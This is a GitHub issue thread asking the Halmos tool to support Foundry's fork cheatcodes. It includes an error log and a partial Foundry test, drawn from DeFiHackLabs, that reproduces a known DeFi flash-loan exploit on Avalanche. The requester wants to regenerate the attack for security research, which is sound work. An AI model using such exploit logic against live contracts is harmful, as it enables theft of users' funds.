Support vm.fork/createSelectFork from foundry

[whbjzzwjxq]

Is your feature request related to a problem? Please describe.

vm.createSelectFork(getChain(56).rpcUrl, 26685503);

Got

Warning: setUp() execution encountered an issue at SLOAD: symbolic storage base slot: sha3_296(48454946083833549120556327910798628449690199008091185690930824427871641913341814859890690)
Error: setUp() failed: ValueError: No successful path found in setUp()

Describe the solution you'd like
Allow vm.fork/createSelectFork in function setUp to make the state of the blockchain start with a specific block instead of pure symbolic storage.

Describe alternatives you've considered

Additional context

[daejunpark]

https://github.com/a16z/halmos/wiki/FAQ#does-halmos-provide-support-for-mainnet-forking

Could you please provide more context on the use cases that you have in mind?

[whbjzzwjxq]

@daejunpark
Dear author,
Thanks for your timely reply.
This functionality will help the community to re-produce existing attacks, such as events collected in DeFiHackLabs

In particular, considering the following attack:
Source Link

    function setUp() public {
        cheats.createSelectFork("Avalanche", 23435294);
    }

    function testExploit(FlashLoanAmount: uint256) public{
        MU.approve(address(Router), type(uint).max);
        MUG.approve(address(Router), type(uint).max);
        USDC_e.approve(address(Router), type(uint).max);
        USDC_e.approve(address(Bank), type(uint).max);
        // original code: FlashLoanAmount = MU.balanceOf(address(Pair)) - 1;
        Pair.swap(FlashLoanAmount, 0, address(this), new bytes(1));
        MUGToUSDC_e();
        assert(USDC_e.balanceOf(address(this)) >= 10e8);
        emit log_named_decimal_uint(
            "[End] Attacker USDC.e balance after exploit",
            USDC_e.balanceOf(address(this)),
            6
        );
    }
    function xxx;

As a researcher, I wonder whether Halmos could generate a counter-example to make the attack happen(Re-produce the actual attack). But it will be time-cost to initialize the blockchain state instead of forking it from the blockchain directly.